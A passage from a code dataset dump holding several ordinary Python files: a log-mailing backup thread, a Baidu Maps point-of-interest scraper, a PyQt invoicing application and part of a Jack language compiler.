Internal\n\t\tself.file_path = logger.lf_path\n\t\tself.running = True\n\n\t\t# Logging\n\t\tself.logger = logger\n\n\tdef __del__(self):\n\t\tself.running = False\n\n\tdef run(self):\n\t\tself.logger.log('LogMailer is now running!')\n\t\tsend_mail('This is Agriva-LogMailer reporting for duty!', 'Agriva-LogMailer has started!', self.logger)\n\t\tcounter = 0\n\t\twhile self.running:\n\t\t\t# Check every second if running is false\n\t\t\tfor _ in range(30 * 60):\n\t\t\t\tif not self.running:\n\t\t\t\t\treturn\n\t\t\t\tsleep(1)\n\n\t\t\t# Get file contents\n\t\t\tfile = open(self.file_path, 'r')\n\t\t\tlines = file.readlines()[counter:]\n\t\t\tfile.close()\n\n\t\t\t# If there are no new lines, just continue\n\t\t\tif len(lines) == 0:\n\t\t\t\tcontinue\n\n\t\t\t# Mail the new data\n\t\t\told_counter = counter\n\t\t\tcounter += len(lines)\n\t\t\tsend_mail(''.join(lines), 'Logfile Backup - Line {} to {}'.format(old_counter, counter), self.logger)\n\nclass MailThread(Thread):\n\t'''A thread for sending a mail with a MIME text.'''\n\tdef __init__(self, mime, logger):\n\t\t# Init Thread\n\t\tThread.__init__(self)\n\n\t\t# Logging\n\t\tself.logger = logger\n\n\t\t# Internal\n\t\tself.mime = mime\n\n\tdef run(self):\n\t\tlogger = self.logger\n\t\tmime = self.mime\n\t\ttry:\n\t\t\t# Send email\n\t\t\tserver = smtplib.SMTP(SMTP_ADDR, SMTP_PORT, timeout=5)\n\t\t\tserver.starttls()\n\t\t\tserver.login(EMAIL_ADDR, EMAIL_PASS)\n\t\t\tserver.sendmail(EMAIL_ADDR, EMAIL_ADDR, mime.as_string())\n\t\t\tserver.quit()\n\t\t\tif logger is not None:\n\t\t\t\tlogger.log('Sent mail to {} - Subj: {}'.format(EMAIL_ADDR, mime['Subject']), prefix='[m]')\n\t\texcept Exception as e:\n\t\t\tif logger is not None:\n\t\t\t\tlogger.log('FAILED sending mail to {} - Subj: {}'.format(EMAIL_ADDR, mime['Subject']), error=True)\n\n\ndef send_mail(msg, subject, logger=None):\n\t'''Sends a mail with a message and subject to the predefined email address to itself.'''\n\t# Setup Mime\n\tmime = MIMEText(msg)\n\tmime['Subject'] = subject\n\tmime['From'] = EMAIL_ADDR\n\tmime['To'] = EMAIL_ADDR\n\n\t# Create a new thread for sending the mail\n\tt = MailThread(mime, logger)\n\tt.start()\n\nif __name__ == '__main__':\n\trandom_ascii = binascii.b2a_hqx(os.urandom(123)).decode()\n\tsend_mail(random_ascii, 'THIS IS A TEST!')\n","sub_path":"master/mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":2478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"402410162","text":"# !/usr/bin/python\n# -*- coding:utf-8 -*-\n# __author__ = 'MUZI'\nimport json\nimport random\nimport time\nimport csv\nimport pandas\nimport pymongo\nimport requests\nfrom baidu_config import *\n\n\n# 对给定区域内搜索\nclass BaiDuPOI(object):\n def __init__(self, itemy, scope):\n self.itemy = itemy\n self.scope = scope\n\n def getHeaders(self):\n user_agent_list = [\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0'\n 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36',\n 'Mozilla/5.0(Windows;U;WindowsNT6.1;en-us)AppleWebKit/534.50(KHTML,likeGecko)Version/5.1Safari/534.50',\n 'Mozilla/5.0(WindowsNT6.1;rv:2.0.1)Gecko/20100101Firefox/4.0.1',\n 'Mozilla/4.0(compatible;MSIE7.0;WindowsNT5.1;Trident/4.0;SE2.XMetaSr1.0;SE2.XMetaSr1.0;.NETCLR2.0.50727;SE2.XMetaSr1.0)',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36'\n ]\n index = random.randrange(0, len(user_agent_list))\n headers = {\n 'User-Agent': user_agent_list[index]\n }\n # print (headers)\n return headers\n\n def get_url_html(self,url,params):\n try:\n r = requests.get(url, headers=self.getHeaders(),params = params)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n print('获取网页HTML,成功,','现在是第 ',params['page_num'],' 页')\n return r\n except:\n print('获取网页HTML,失败',url)\n with open('erros_log.text','a') as f:\n f.write((params['bounds'],params['page_num'],url))\n f.close()\n return None\n\n # 对response解析,返回enumerate\n def parse(self):\n for page in range(0,20):\n time.sleep(0.5)\n params = {\n 'query': self.itemy,\n # 'region': '长沙市岳麓区',\n 'bounds': self.scope,\n 'page_siz': 20,\n 'page_num': page,\n 'output': 'json',\n 'ak': BAIDU_KEY,\n }\n url = 'http://api.map.baidu.com/place/v2/search?'\n res = self.get_url_html(url,params).text\n # print(self.get_url_html(url,params).url)\n\n if res!=None:\n data = json.loads(res)\n if data['total'] != 0:\n for item in data['results']:\n json_sel = {}\n # json_sel['h1'] = h1\n # json_sel['h2'] = h2\n json_sel['type'] = self.itemy\n json_sel['name'] = item[\"name\"]\n try:\n json_sel['lat'] = item[\"location\"][\"lat\"]\n json_sel['lng'] = item[\"location\"][\"lng\"]\n except:\n json_sel['lat'] = '无数据'\n json_sel['lng'] = '无数据'\n json_sel['province'] = item[\"province\"]\n json_sel['city'] = item[\"city\"]\n json_sel['area'] = item[\"area\"]\n try:\n json_sel['street_id'] = item[\"street_id\"]\n except:\n json_sel['street_id'] = '无数据'\n try:\n json_sel['telephone'] = item[\"telephone\"]\n except:\n json_sel['telephone'] = '无数据'\n yield json_sel\n else:\n print('本页及以后无数据')\n break\n\n def save_mongodb(self):\n res = self.parse()\n col = ['type', 'province', 'city', 'area', 'name', 'lng', 'lat', 'street_id', 'telephone']\n df = pandas.DataFrame([i for i in res], columns=col)\n\n my_client = pymongo.MongoClient('MONGO_URL')\n my_db = my_client['MONGO_DB']\n my_col = my_db['MONGO_TABLE']\n\n my_col.insert_many(df)\n my_client.close()\n\n def save_csv(self):\n res = self.parse()\n col = ['type','province','city','area','name','lng','lat','street_id','telephone']\n df = pandas.DataFrame([i for i in res],columns=col)\n with open(FILENAME, 'a', encoding='utf_8_sig', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(df.values.tolist())\n csvfile.close()\n\n # df.to_csv(FILENAME,index=False,sep=',',mode='a',)\n print('------------------------打印成功-------------------------')\n\ndef openfile():\n col = ['type', 'province', 'city', 'area', 'name', 'lng', 'lat', 'street_id', 'telephone']\n with open(FILENAME, 'a', encoding='utf_8_sig', newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(col)\n csvfile.close()\n return '成功打开文件!!!'\n\n# 对矩形范围内的兴趣点进行分类爬取\ndef main_jx():\n print(\"开始爬数据,请稍等...\")\n start_time = time.time()\n\n # 对大的范围进行切割,得到小范围,经纬度的坐标\n scope_div = ScopeDiv(SCOPE,DIVD)\n # ls = scope_div.lnglat_row() # 老师方法得到的小范围的经纬度坐标list\n scope_s_all = scope_div.lnglat_row_me() # 我的方法得到的小范围的经纬度坐标list\n # print(scope_s_all[0])\n\n i = 0\n print(openfile())\n for scope_s in scope_s_all:\n i += 1\n for pois in POIS:\n print('现在正在爬 {},总共有 {} 个区域要爬取,现在正在爬第 {} 个。'.format(pois,len(scope_s_all),i))\n loc = BaiDuPOI(pois,scope_s)\n # loc.save_mongodb()\n loc.save_csv()\n\n end_time = time.time()\n print(\"数据爬取���毕,用时%.2f秒\" % (end_time - start_time))\n\nif __name__ == '__main__':\n main_jx()\n","sub_path":"百度api_矩形范围内搜索POI/baidu_api_地址解析.py","file_name":"baidu_api_地址解析.py","file_ext":"py","file_size_in_byte":6043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"568272444","text":"import webbrowser\nimport os\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QErrorMessage\n\nfrom PyQt5.QtSql import QSqlQueryModel, QSqlQuery\nfrom PyQt5.QtCore import pyqtSlot, Qt, QDate\nfrom gui.ui_faktureramera import Ui_MainWindow\n\nfrom gui.jobForm import JobForm\nfrom gui.newcustomerform import NewCustomerForm\nimport lib.pdflib as pdflib\nimport lib.fakturamodel as model\n\n\nclass FaktureraMeraWindow(QMainWindow):\n def __init__(self, parent=None):\n \"\"\"\"\"\"\n super(FaktureraMeraWindow, self).__init__(parent)\n\n self.ui = Ui_MainWindow()\n self.newCustomerActivated = False\n self.ui.setupUi(self)\n self.updateHistoryTable()\n job = JobForm()\n self.jobList = [job]\n self.ui.jobsLayout.addWidget(job)\n self.populateCustomers()\n self.newCustomerForm = NewCustomerForm()\n self.newCustomerForm.hide()\n self.ui.newCustomerLayout.addWidget(self.newCustomerForm)\n self.edit_bill_id = 0\n\n def populateCustomers(self):\n query = QSqlQuery()\n self.ui.customerChooser.clear()\n query.exec_('select id, name,address, zipcode from customer')\n while query.next():\n c = self.extractCustomer(query)\n self.ui.customerChooser.addItem(c.name)\n\n def updateBill(self, bill_id, reference, cId):\n dateFormat = 'yyyy-MM-dd'\n date = QDate.currentDate()\n query = QSqlQuery()\n sql = \"update bill set c_id={0}, reference='{1}', bill_date='{2}' where id='{3}'\".format(cId, reference,\n date.toString(dateFormat),\n bill_id)\n query.exec_(sql)\n sql = \"delete from jobs where b_id='{0}'\".format(bill_id)\n query.exec_(sql)\n query.exec_(\"select id, c_id, reference, bill_date from bill where id='{0}'\".format(bill_id))\n query.next()\n return self.extractBill(query)\n\n def newBill(self, reference, cId):\n \"\"\"\"\"\"\n dateFormat = 'yyyy-MM-dd'\n date = QDate.currentDate()\n query = QSqlQuery()\n sql = \"insert into bill values((select max(id) from bill) + 1,'{0}','{1}','{2}',0,NULL)\".format(cId, reference,\n date.toString(\n dateFormat))\n query.exec_(sql)\n query.exec_('select id, c_id, reference, bill_date from bill order by id desc limit 1')\n query.next()\n return self.extractBill(query)\n\n def newCustomer(self, name, address, zip):\n query = QSqlQuery()\n sql = \"insert into customer values((select max(id) from customer) + 1,'{0}','{1}','{2}')\".format(name, address,\n zip)\n query.exec_(sql)\n query.exec_('select id, name,address, zipcode from customer order by id desc limit 1')\n query.next()\n return self.extractCustomer(query)\n\n\n def newJob(self, price, number, text, bId):\n query = QSqlQuery()\n sql = \"insert into jobs values((select max(id) from jobs) + 1,'{0}','{1}','{2}','{3}')\".format(bId, number,\n price, text)\n query.exec_(sql)\n query.exec_('select hours, price,job,id from jobs order by id desc limit 1')\n return self.extractJobs(query)[0]\n\n # kanske en nivå för varningar?\n def validateForSubmit(self):\n errorMsgs = []\n reference = self.ui.referenceField.text()\n if reference == \"\":\n errorMsgs.append(\"Du har glömt referensfältet\")\n counter = 1\n for j in self.jobList:\n\n if j.ui.description.text() == \"\":\n errorMsgs.append(\"Du har glömt beskrivning på job \" + str(counter))\n try:\n float(j.ui.price.text().replace(\",\", \".\"))\n except Exception:\n errorMsgs.append(\"Det ser inte ut som en siffra på priset på job \" + str(counter))\n try:\n int(j.ui.number.text())\n except Exception:\n errorMsgs.append(\"Det ser inte ut som en siffra på antalet på job \" + str(counter))\n counter += 1\n # TODO: if new customer is added\n if self.newCustomerActivated:\n if self.newCustomerForm.ui.name.text() == \"\":\n errorMsgs.append(\"Det finns inget namn på den nya kunden\")\n if self.newCustomerForm.ui.address.text() == \"\":\n errorMsgs.append(\"Det finns ingen address på den nya kunden\")\n if self.newCustomerForm.ui.zip.text() == \"\":\n errorMsgs.append(\"Det finns inget postnummer på den nya kunden\")\n\n if len(errorMsgs) != 0:\n errWidget = QErrorMessage(self)\n errWidget.showMessage(\"
\".join(errorMsgs))\n return False\n return True\n\n @pyqtSlot()\n def on_zeroButton_clicked(self):\n self.reinitUI()\n\n @pyqtSlot()\n def on_editBillButton_clicked(self):\n self.ui.tabWidget.setCurrentIndex(0)\n self.reinitUI()\n billId = self.__getBillidFromHistory()\n if billId == -1:\n return\n bill = self.getBillData(billId)\n self.poulateBillData(bill)\n self.edit_bill_id = billId\n self.ui.saveGenerateButton.setText(\"Uppdatera\")\n\n\n def poulateBillData(self, bill):\n \"\"\"\"\"\"\n self.ui.customerChooser.setCurrentIndex(bill.customer.id - 1)\n self.ui.referenceField.setText(bill.reference)\n for j in bill.jobs:\n # TODO: somewhat ugly test\n if self.jobList[-1].ui.description.text() != \"\":\n self.on_addJobButton_clicked()\n job = self.jobList[-1]\n job.ui.description.setText(j.text)\n job.ui.number.setText(str(j.number))\n job.ui.price.setText(str(j.price))\n\n\n def reinitUI(self):\n self.edit_bill_id = 0\n self.ui.saveGenerateButton.setText(\"Generera\")\n numberOfJobs = len(self.jobList)\n for i in range(numberOfJobs):\n self.removeJobWidget()\n self.on_addJobButton_clicked()\n self.ui.referenceField.clear()\n self.hideNewCustomer()\n\n\n @pyqtSlot()\n def on_saveGenerateButton_clicked(self):\n if not self.validateForSubmit():\n return\n query = QSqlQuery()\n\n if self.newCustomerActivated:\n name = self.newCustomerForm.ui.name.text()\n address = self.newCustomerForm.ui.address.text()\n zip = self.newCustomerForm.ui.zip.text()\n customer = self.newCustomer(name, address, zip)\n else:\n customerId = self.ui.customerChooser.currentIndex() + 1\n query.exec_('select id, name,address, zipcode from customer where id=' + str(customerId))\n query.next()\n customer = self.extractCustomer(query)\n\n customerId = customer.id\n reference = self.ui.referenceField.text()\n if self.edit_bill_id == 0:\n bill = self.newBill(reference, customerId)\n else:\n bill = self.updateBill(self.edit_bill_id, reference, customerId)\n bill.setCustomer(customer)\n for j in self.jobList:\n text = j.ui.description.text()\n price = float(j.ui.price.text().replace(\",\", \".\"))\n number = int(j.ui.number.text())\n job = self.newJob(price, number, text, bill.id)\n bill.addJob(job)\n\n # kodduplikat, lägg ut i fun\n pdf = pdflib.BillGenerator(bill)\n fileName = pdf.generate()\n self.reinitUI()\n self.updateHistoryTable()\n self.populateCustomers()\n pwd = os.getcwd()\n webbrowser.open(os.path.join(pwd, fileName))\n\n\n def removeJobWidget(self):\n job = self.jobList[-1]\n job.hide()\n self.ui.jobsLayout.removeWidget(job)\n QApplication.processEvents()\n print(\"before\" + str(len(self.jobList)))\n self.jobList.remove(job)\n print(\"after\" + str(len(self.jobList)))\n\n\n @pyqtSlot()\n def on_addJobButton_clicked(self):\n job = JobForm()\n self.ui.jobsLayout.addWidget(job)\n self.jobList.append(job)\n QApplication.processEvents()\n\n\n @pyqtSlot()\n def on_removeJobButton_clicked(self):\n if len(self.jobList) == 1:\n return\n self.removeJobWidget()\n\n\n @pyqtSlot()\n def on_maculateButton_clicked(self):\n \"\"\"\"\"\"\n billId = self.__getBillidFromHistory()\n if billId == -1:\n return\n\n self.deleteBill(billId)\n self.updateHistoryTable()\n\n\n def __getBillidFromHistory(self):\n idx = self.ui.tableView.selectionModel().currentIndex()\n if idx.row() == -1:\n return -1\n\n model = self.ui.tableView.model()\n idx = model.index(idx.row(), 0)\n billId = int(model.data(idx))\n return billId\n\n @pyqtSlot()\n def on_generateButton_clicked(self):\n billId = self.__getBillidFromHistory()\n if billId == -1:\n return\n bill = self.getBillData(billId)\n pdf = pdflib.BillGenerator(bill)\n\n fileName = pdf.generate()\n pwd = os.getcwd()\n webbrowser.open(os.path.join(pwd, fileName))\n\n def showNewCustomer(self):\n if not self.newCustomerActivated:\n self.ui.customerChooser.setEnabled(False)\n self.newCustomerActivated = True\n self.newCustomerForm.show()\n self.ui.newCustomerButton.setText(\"Ångra\")\n\n def hideNewCustomer(self):\n if self.newCustomerActivated:\n self.ui.customerChooser.setEnabled(True)\n self.newCustomerActivated = False\n self.newCustomerForm.hide()\n self.ui.newCustomerButton.setText(\"Ny\")\n\n @pyqtSlot()\n def on_newCustomerButton_clicked(self):\n if self.newCustomerActivated:\n self.hideNewCustomer()\n else:\n self.showNewCustomer()\n\n def extractBill(self, query):\n id = query.value(0)\n date = query.value(3)\n ref = query.value(2)\n return model.Bill(id, ref, date)\n\n\n def extractCustomer(self, query):\n id = query.value(0)\n name = query.value(1)\n address = query.value(2)\n zipcode = query.value(3)\n return model.Customer(id, name, address, zipcode)\n\n\n ## TODO: hours or number !\n def extractJobs(self, query):\n \"\"\"\"\"\"\n result = []\n while (query.next()):\n price = query.value(1)\n hours = query.value(0)\n text = query.value(2)\n result.append(model.Job(price, hours, text))\n\n return result\n\n def getBillData(self, billId):\n # TODO: handle if no record show up\n query = QSqlQuery()\n\n query.exec_('select id, c_id, reference, bill_date from bill where id =' + str(billId))\n query.next()\n\n bill = self.extractBill(query)\n c_id = query.value(1)\n\n query.exec_('select id, name,address, zipcode from customer where id =' + str(c_id))\n query.next()\n customer = self.extractCustomer(query)\n bill.setCustomer(customer)\n\n query.exec_('select hours, price,job from jobs where b_id =' + str(bill.id))\n jobs = self.extractJobs(query)\n for j in jobs:\n bill.addJob(j)\n return bill\n\n\n def deleteBill(self, billId):\n \"\"\"\"\"\"\n query = QSqlQuery()\n if not query.exec_('delete from bill where id =' + str(billId)):\n print(\"Det gick inte sa bra\")\n\n\n def updateHistoryTable(self):\n \"\"\"\"\"\"\n historyModel = QSqlQueryModel()\n self.initializeHistoryModel(historyModel)\n self.ui.tableView.setModel(historyModel)\n\n\n def initializeHistoryModel(self, model):\n model.setQuery('select id,reference,bill_date,payed,payed_date from bill')\n model.setHeaderData(0, Qt.Horizontal, \"ID\")\n model.setHeaderData(1, Qt.Horizontal, \"Namn\")\n model.setHeaderData(2, Qt.Horizontal, \"Fakturan skapad\")\n model.setHeaderData(3, Qt.Horizontal, \"Betald\")\n model.setHeaderData(4, Qt.Horizontal, \"Betald Datum\")\n","sub_path":"gui/faktureramerawindow.py","file_name":"faktureramerawindow.py","file_ext":"py","file_size_in_byte":12467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"305497674","text":"from jack_tokenizer import JackTokenizer\nfrom vm_writer import VMWriter\nfrom symbol_table import SymbolTable\n\nSUBROUTINE_DEC_COMP_ERR = \"Compilation Error with subroutine parameter declaration!\"\n\nVAR_DEC_COMP_ERR = \"Compilation Error with class variable declaration!\"\n\n\nclass CompilationEngine:\n \"\"\"\n Effects the actual compilation output. Gets its input from a JackTokenizer and\n emits its parsed structure into an output file/stream. The output is generated by a series of compilexxx()\n routines, one for every syntactic element xxx of the Jack grammar. The contract between these routines is\n that each compilexxx() routine should read the syntactic construct xxx from the input, advance() the\n tokenizer exactly beyond xxx, and output the parsing of xxx. Thus, compilexxx()may only be called if\n indeed xxx is the next syntactic element of the input.\n \"\"\"\n VAR_DEC_KINDS = {'field', 'static'}\n SUBROUTINE_KINDS = {'constructor', 'function', 'method'}\n OPERATORS = {'+': 'add',\n '-': 'sub',\n '*': 'Math.multiply',\n '/': 'Math.divide',\n '&': 'and', '|': 'or',\n '<': 'lt',\n '>': 'gt',\n '=': 'eq'}\n UNARY_OPERATORS = {'~', '-'}\n SEGMENT_MAP = {'var': 'local', 'static': 'static', 'field': 'this', 'argument': 'argument', None: 'ERROR'}\n\n def __init__(self, input_path, output_path):\n \"\"\"\n Creates a new compilation engine with the\n given input and output. The next routine\n called must be compileClass().\n \"\"\"\n self.tokenizer = JackTokenizer(input_path) # tokenizer\n self._writer = VMWriter(output_path) # vm writer\n self._symbol_table = SymbolTable() # symbol table\n self.class_name = ''\n self.subroutine_name = ''\n self.if_idx = 0\n self.while_idx = 0\n\n def compile_class(self):\n \"\"\"\n Compiles a complete class.\n :return:\n \"\"\"\n self.advance() # get first token\n self.get_new_class_scope()\n self.advance() # get second token\n self.get_class_name()\n while self.has_more_tokens():\n self.advance()\n token = self.tokenizer.token\n if token in self.VAR_DEC_KINDS:\n self._compile_class_var_dec()\n elif token in self.SUBROUTINE_KINDS:\n self._compile_subroutine()\n elif token == '}':\n self._writer.close()\n return\n\n def has_more_tokens(self):\n \"\"\" checks if there is more tokens in the tokenizer \"\"\"\n return self.tokenizer.has_more_tokens()\n\n def advance(self):\n \"\"\" advance the tokenizer \"\"\"\n self.tokenizer.advance()\n\n def _compile_class_var_dec(self):\n \"\"\"\n Compiles a variable declaration.\n \"\"\"\n kind = self.tokenizer.token\n self.advance()\n var_type = self.tokenizer.token\n self.advance()\n name = self.tokenizer.token\n self._symbol_table.define(name, var_type, kind)\n while self.has_more_tokens():\n self.advance()\n token = self.tokenizer.token\n token_type = self.tokenizer.token_type\n if token_type != 'SYMBOL':\n name = token\n self._symbol_table.define(name, var_type, kind)\n elif token == ';':\n return\n elif token != ',':\n raise Exception(VAR_DEC_COMP_ERR)\n else:\n raise Exception(VAR_DEC_COMP_ERR)\n\n def _compile_subroutine(self):\n \"\"\"\n Compiles a subroutine declaration.\n \"\"\"\n self.start_subroutine()\n self.if_idx = 0\n self.while_idx = 0\n token = self.tokenizer.token\n if token == 'constructor':\n self.subroutine_name = token\n elif token == 'method':\n self._symbol_table.define('this', self.class_name, 'argument')\n self.advance() # skip 'function' or 'method'\n self.advance() # skip 'int\\void etc'..\n # the token is now the function's name\n if self.subroutine_name == 'constructor':\n self.constructor_name = self.tokenizer.token\n else:\n self.subroutine_name = self.tokenizer.token\n self.advance()\n self._compile_parameter_list()\n self.advance()\n self._compile_subroutine_body()\n\n def _compile_parameter_list(self):\n \"\"\"\n Compiles a parameter list from a function declaration.\n :return:\n \"\"\"\n symbol_type = None\n while self.has_more_tokens():\n self.advance()\n token = self.tokenizer.token\n token_type = self.tokenizer.token_type\n if token_type != 'SYMBOL':\n if symbol_type:\n self._symbol_table.define(token, symbol_type, 'argument')\n symbol_type = None\n else:\n symbol_type = token\n elif token == ')':\n return\n elif token != ',':\n raise Exception(SUBROUTINE_DEC_COMP_ERR)\n else:\n raise Exception(SUBROUTINE_DEC_COMP_ERR)\n\n def _compile_subroutine_body(self):\n \"\"\"\n Compiles a subroutine body.\n :return:\n \"\"\"\n while self.has_more_tokens() and self.tokenizer.next_token == 'var':\n self.advance()\n token = self.tokenizer.token\n self.advance()\n next_token = self.tokenizer.next_token\n self._compile_subroutine_var_dec()\n if self.subroutine_name == 'constructor':\n self._write_memory_alloc()\n else:\n self._write_this_memory()\n self._compile_statements()\n\n def _write_memory_alloc(self):\n \"\"\" write the vm commands for allocating memory for constructor \"\"\"\n func_name = self.class_name + '.' + self.constructor_name\n n_locals_var = self._symbol_table.var_count('var')\n n_locals_field = self._symbol_table.var_count('field')\n self._writer.write_function(func_name, n_locals_var)\n self._writer.write_push('constant', n_locals_field)\n self._writer.write_call('Memory.alloc', 1)\n self._writer.write_pop('pointer', 0)\n\n def _compile_subroutine_var_dec(self):\n \"\"\"\n Compiles a subroutine variable declaration.\n :return:\n \"\"\"\n symbol_type = self.tokenizer.token\n while self.has_more_tokens():\n var_name = self.tokenizer.next_token\n self._symbol_table.define(var_name, symbol_type, 'var')\n self.advance()\n self.advance()\n if self.tokenizer.token == ',':\n continue\n elif self.tokenizer.token == ';':\n # self.advance()\n return\n else:\n raise Exception(\"compilation error var declaration\")\n\n def _compile_statements(self):\n \"\"\"\n Compiles statements.\n :return:\n \"\"\"\n while self.has_more_tokens():\n if self.tokenizer.token == 'let':\n self.compile_let()\n elif self.tokenizer.token == 'if':\n self.compile_if()\n elif self.tokenizer.token == 'while':\n self.compile_while()\n elif self.tokenizer.token == 'do':\n self.compile_do()\n elif self.tokenizer.token == 'return':\n self.compile_return()\n self.advance()\n if self.tokenizer.token == '}':\n return\n\n def _write_this_memory(self):\n name = self.class_name + '.' + self.subroutine_name\n self._writer.write_function(name, self._symbol_table.var_count('var'))\n if self._symbol_table.type_of('this'):\n self._writer.write_push('argument', 0)\n self._writer.write_pop('pointer', 0)\n\n def compile_do(self):\n \"\"\"\n Compiles a do statement.\n :return:\n \"\"\"\n self.advance() # skip 'do'\n self.compile_subroutine_call()\n self._writer.write_pop('temp', 0)\n\n def compile_let(self):\n \"\"\"\n Compiles a let statement.\n :return:\n \"\"\"\n self.advance() # skip 'let'\n token = self.tokenizer.token\n self.advance() # skip '[' or '='\n\n if self.tokenizer.token == '[':\n self.pop_arr(token)\n else:\n self.pop_var(token)\n\n def compile_while(self):\n \"\"\"\n Compiles a while statement.\n :return:\n \"\"\"\n whilabel_idx = str(self.while_idx)\n self.while_idx += 1\n self.advance() # skip 'while'\n self._writer.write_label('WHILE_EXP' + whilabel_idx)\n self.advance() # skip '('\n self.compile_expression()\n self.advance()\n self._writer.write_arithmetic('not')\n self._writer.write_if('WHILE_END' + whilabel_idx)\n self._compile_statements()\n self._writer.write_goto('WHILE_EXP' + whilabel_idx)\n self._writer.write_label('WHILE_END' + whilabel_idx)\n\n def compile_return(self):\n \"\"\"\n Compiles a return statement.\n :return:\n \"\"\"\n self.advance()\n if self.tokenizer.token == ';':\n self._writer.write_push('constant', 0)\n else:\n self.compile_expression()\n self.advance()\n self._writer.write_return()\n\n def compile_if(self):\n \"\"\"\n Compiles an if statement, possibly with a trailing else clause.\n :return:\n \"\"\"\n label_suf = str(self.if_idx)\n self.if_idx += 1\n self.advance()\n self.compile_expression()\n self.advance()\n self._writer.write_if('IF_TRUE' + label_suf)\n self._writer.write_goto('IF_FALSE' + label_suf)\n self._writer.write_label('IF_TRUE' + label_suf)\n self._compile_statements()\n if self.tokenizer.peek() == 'else':\n self._writer.write_goto('IF_END' + label_suf)\n self._writer.write_label('IF_FALSE' + label_suf)\n self.advance()\n self._compile_statements()\n self._writer.write_label('IF_END' + label_suf)\n else:\n self._writer.write_label('IF_FALSE' + label_suf)\n\n def compile_expression(self):\n \"\"\"\n Compiles an expression.\n :return:\n \"\"\"\n self.compile_term()\n while self.has_more_tokens():\n # self.advance()\n next_token = self.tokenizer.next_token\n if next_token in self.OPERATORS:\n self.advance()\n self.compile_binary_operation(next_token)\n # elif next_token == ')':\n # self.advance()\n else:\n break\n\n def compile_term(self):\n \"\"\"\n Compiles a term.\n :return:\n \"\"\"\n token = self.tokenizer.token\n token_type = self.tokenizer.token_type\n if token_type == 'IDENTIFIER':\n self.compile_identifier_term(token)\n elif token_type == 'INT_CONST':\n self._writer.write_push(\"constant\", int(token))\n elif token_type == 'STRING_CONST':\n self.compile_string_term(token)\n elif token_type == 'KEYWORD':\n self.compile_keyword_term(token)\n elif token_type == 'SYMBOL':\n self.compile_symbol_term(token)\n\n def compile_expression_list(self):\n \"\"\"\n Compiles a (possibly empty) comma-separated list of expressions.\n :return:\n \"\"\"\n pass\n\n def get_new_class_scope(self):\n \"\"\" initiate a new class scope \"\"\"\n self._symbol_table = SymbolTable()\n\n def get_class_name(self):\n \"\"\" initiate class name \"\"\"\n self.class_name = self.tokenizer.token\n\n def compile_unary_operator(self, token):\n \"\"\" compile unary operator \"\"\"\n if token == '-':\n self._writer.write_arithmetic(\"neg\")\n elif token == '~':\n self._writer.write_arithmetic(\"not\")\n\n def compile_string_term(self, token):\n \"\"\" compile string term \"\"\"\n esc_chars = {'\\t': '\\\\t', '\\n': '\\\\n', '\\r': '\\\\r', '\\b': '\\\\b', '\\\\\\\\': '\\\\'}\n for c in esc_chars:\n token = token.replace(c, esc_chars[c])\n self._writer.write_push('constant', len(token))\n self._writer.write_call('String.new', 1)\n for c in token:\n self._writer.write_push('constant', ord(c))\n self._writer.write_call('String.appendChar', 2)\n return\n\n def pop_var(self, token):\n \"\"\" write vm commands for poping a variable \"\"\"\n self.advance() # skip '='\n self.compile_expression()\n self.advance()\n index = self._symbol_table.index_of(token)\n segment = self.SEGMENT_MAP[self._symbol_table.kind_of(token)]\n self._writer.write_pop(segment, index)\n\n def compile_keyword_term(self, token):\n if token == 'this':\n self._writer.write_push('pointer', 0)\n else:\n self._writer.write_push('constant', 0)\n if token == 'true':\n self._writer.write_arithmetic('not')\n\n def compile_identifier_term(self, token):\n segment = self._symbol_table.kind_of(token)\n next_token = self.tokenizer.peek()\n if segment:\n\n if next_token == '[':\n self.push_arr(token, segment)\n elif next_token == '.':\n self.compile_subroutine_call()\n self.advance()\n else: # local..\n index = self._symbol_table.index_of(token)\n self._writer.write_push(self.SEGMENT_MAP[segment], index)\n else:\n self.compile_subroutine_call()\n self.advance()\n\n def compile_symbol_term(self, token):\n if token == '(':\n self.advance() # Skip '('\n self.compile_expression()\n self.advance()\n elif token in self.UNARY_OPERATORS:\n self.advance()\n self.compile_term()\n self.compile_unary_operator(token)\n elif token in {']', ')', ';', ','}:\n return\n\n def compile_binary_operation(self, token):\n operator = self.OPERATORS[token]\n self.advance() # skip operator\n self.compile_term()\n if token == '+' and self.tokenizer.token_type == 'string_constant':\n self._writer.write_call('String.append', 2)\n elif token == '*' or token == '/':\n self._writer.write_call(operator, 2) # Math.multiply or Math.division\n else:\n self._writer.write_arithmetic(operator)\n\n def compile_subroutine_call(self):\n name = self.tokenizer.token\n self.advance() # skip name\n n_expressions = 0\n if self.tokenizer.token == '(':\n self._writer.write_push('pointer', 0)\n n_expressions = self.count_expressions() + 1 # +1 for 'this'\n name = self.class_name + '.' + name\n elif self.tokenizer.token == '.':\n self.advance() # skip '.'\n instance_kind = self._symbol_table.kind_of(name)\n if instance_kind:\n index = self._symbol_table.index_of(name)\n name = self._symbol_table.class_of(name)\n self._writer.write_push(self.SEGMENT_MAP[instance_kind], index)\n name += '.' + self.tokenizer.token\n self.advance() # skip to '('\n\n n_expressions = self.count_expressions()\n if instance_kind:\n n_expressions += 1\n self._writer.write_call(name, n_expressions)\n\n def count_expressions(self):\n n = 0\n while self.has_more_tokens():\n next_token = self.tokenizer.next_token\n if next_token == ')' or next_token == ';':\n return n\n else:\n n += 1\n self.advance()\n self.compile_expression()\n if self.tokenizer.next_token == ')':\n return n\n self.advance()\n\n def pop_arr(self, token):\n \"\"\" write vm commands for poping an array \"\"\"\n segment = self.SEGMENT_MAP[self._symbol_table.kind_of(token)]\n index = 